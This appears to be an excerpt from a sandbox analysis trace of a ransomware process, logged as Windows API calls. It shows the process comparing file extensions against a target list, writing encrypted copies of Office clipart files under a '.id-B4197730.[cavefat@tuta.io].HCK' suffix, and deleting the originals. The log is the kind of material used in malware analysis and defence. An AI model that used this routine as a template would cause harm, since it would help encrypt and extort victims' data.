[0158.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString=".xls") returned 4 [0158.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.143] lstrlenW (lpString=".xlsx") returned 5 [0158.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.143] lstrlenW (lpString=".ppt") returned 4 [0158.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.143] lstrlenW (lpString=".zip") returned 4 [0158.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.143] lstrlenW (lpString=".rar") returned 4 [0158.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.144] lstrlenW (lpString=".bz2") returned 4 [0158.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.144] lstrlenW (lpString=".7z") returned 3 [0158.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.144] lstrlenW (lpString=".dbf") returned 4 [0158.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.144] lstrlenW (lpString=".1cd") returned 4 [0158.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.144] lstrlenW (lpString=".jpg") returned 4 [0158.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.144] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.144] lstrlenW (lpString="DD01366_.WMF") returned 12 [0158.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.144] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1768) returned 1 [0158.144] CloseHandle (hObject=0x2ec) returned 1 [0158.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0158.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.145] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.145] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.145] GetLastError () returned 0x0 [0158.145] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x6e8, lpOverlapped=0x0) returned 1 [0158.146] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6f0, lpOverlapped=0x0) returned 1 [0158.147] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.147] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.147] SetEndOfFile (hFile=0x38c) returned 1 [0158.147] CloseHandle (hObject=0x38c) returned 1 [0158.148] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.148] SetEndOfFile (hFile=0x2ec) returned 1 [0158.149] CloseHandle (hObject=0x2ec) returned 1 [0158.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0158.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.149] lstrlenW (lpString=".doc") returned 4 [0158.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.149] lstrlenW (lpString=".docx") returned 5 [0158.149] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.149] lstrlenW (lpString=".pdf") returned 4 [0158.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.149] lstrlenW (lpString=".xls") returned 4 [0158.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.149] lstrlenW (lpString=".xlsx") returned 5 [0158.149] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.150] lstrlenW (lpString=".ppt") returned 4 [0158.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.150] lstrlenW (lpString=".zip") returned 4 [0158.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.150] lstrlenW (lpString=".rar") returned 4 [0158.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString=".bz2") returned 4 [0158.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString=".7z") returned 3 [0158.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.150] lstrlenW (lpString=".dbf") returned 4 [0158.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.150] lstrlenW (lpString=".1cd") returned 4 [0158.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.150] lstrlenW (lpString=".jpg") returned 4 [0158.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.150] lstrlenW (lpString=".doc") returned 4 [0158.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString=".docx") returned 5 [0158.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.150] lstrlenW (lpString=".pdf") returned 4 [0158.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString=".xls") returned 4 [0158.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.150] lstrlenW (lpString=".xlsx") returned 5 [0158.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.150] lstrlenW (lpString=".ppt") returned 4 [0158.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.150] lstrlenW (lpString=".zip") returned 4 [0158.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.150] lstrlenW (lpString=".rar") returned 4 [0158.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString=".bz2") returned 4 [0158.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString=".7z") returned 3 [0158.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.150] lstrlenW (lpString=".dbf") returned 4 [0158.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.150] lstrlenW (lpString=".1cd") returned 4 [0158.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0158.150] lstrlenW (lpString=".jpg") returned 4 [0158.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.151] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.151] lstrlenW (lpString="DD01434_.WMF") returned 12 [0158.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.151] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=900) returned 1 [0158.151] CloseHandle (hObject=0x2ec) returned 1 [0158.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0158.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.152] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.152] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.152] GetLastError () returned 0x0 [0158.152] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x384, lpOverlapped=0x0) returned 1 [0158.577] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x390, lpOverlapped=0x0) returned 1 [0158.590] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.590] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.590] SetEndOfFile (hFile=0x38c) returned 1 [0158.590] CloseHandle (hObject=0x38c) returned 1 [0158.591] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.591] SetEndOfFile (hFile=0x2ec) returned 1 [0158.592] CloseHandle (hObject=0x2ec) returned 1 [0158.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0158.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.592] lstrlenW (lpString=".doc") returned 4 [0158.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.592] lstrlenW (lpString=".docx") returned 5 [0158.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.593] lstrlenW (lpString=".pdf") returned 4 [0158.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString=".xls") returned 4 [0158.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.593] lstrlenW (lpString=".xlsx") returned 5 [0158.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.593] lstrlenW (lpString=".ppt") returned 4 [0158.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.593] lstrlenW (lpString=".zip") returned 4 [0158.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.593] lstrlenW (lpString=".rar") returned 4 [0158.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString=".bz2") returned 4 [0158.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString=".7z") returned 3 [0158.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.593] lstrlenW (lpString=".dbf") returned 4 [0158.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.593] lstrlenW (lpString=".1cd") returned 4 [0158.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.593] lstrlenW (lpString=".jpg") returned 4 [0158.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.593] lstrlenW (lpString=".doc") returned 4 [0158.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString=".docx") returned 5 [0158.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.593] lstrlenW (lpString=".pdf") returned 4 [0158.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString=".xls") returned 4 [0158.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.593] lstrlenW (lpString=".xlsx") returned 5 [0158.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.593] lstrlenW (lpString=".ppt") returned 4 [0158.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.593] lstrlenW (lpString=".zip") returned 4 [0158.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.593] lstrlenW (lpString=".rar") returned 4 [0158.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString=".bz2") returned 4 [0158.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.593] lstrlenW (lpString=".7z") returned 3 [0158.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.593] lstrlenW (lpString=".dbf") returned 4 [0158.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.594] lstrlenW (lpString=".1cd") returned 4 [0158.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0158.594] lstrlenW (lpString=".jpg") returned 4 [0158.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.594] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.594] lstrlenW (lpString="EN00902_.WMF") returned 12 [0158.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.594] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7944) returned 1 [0158.594] CloseHandle (hObject=0x2ec) returned 1 [0158.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0158.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.595] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.595] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.595] GetLastError () returned 0x0 [0158.595] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1f08, lpOverlapped=0x0) returned 1 [0158.596] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0158.597] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.597] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.597] SetEndOfFile (hFile=0x38c) returned 1 [0158.598] CloseHandle (hObject=0x38c) returned 1 [0158.598] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.598] SetEndOfFile (hFile=0x2ec) returned 1 [0158.599] CloseHandle (hObject=0x2ec) returned 1 [0158.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0158.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.600] lstrlenW (lpString=".doc") returned 4 [0158.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.600] lstrlenW (lpString=".docx") returned 5 [0158.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.600] lstrlenW (lpString=".pdf") returned 4 [0158.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.600] lstrlenW (lpString=".xls") returned 4 [0158.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.600] lstrlenW (lpString=".xlsx") returned 5 [0158.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.600] lstrlenW (lpString=".ppt") returned 4 [0158.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.600] lstrlenW (lpString=".zip") returned 4 [0158.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.600] lstrlenW (lpString=".rar") returned 4 [0158.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.600] lstrlenW (lpString=".bz2") returned 4 [0158.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.600] lstrlenW (lpString=".7z") returned 3 [0158.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.600] lstrlenW (lpString=".dbf") returned 4 [0158.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.600] lstrlenW (lpString=".1cd") returned 4 [0158.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.600] lstrlenW (lpString=".jpg") returned 4 [0158.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.600] lstrlenW (lpString=".doc") returned 4 [0158.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.600] lstrlenW (lpString=".docx") returned 5 [0158.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.600] lstrlenW (lpString=".pdf") returned 4 [0158.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.600] lstrlenW (lpString=".xls") returned 4 [0158.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.601] lstrlenW (lpString=".xlsx") returned 5 [0158.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.601] lstrlenW (lpString=".ppt") returned 4 [0158.601] lstrcmpiW 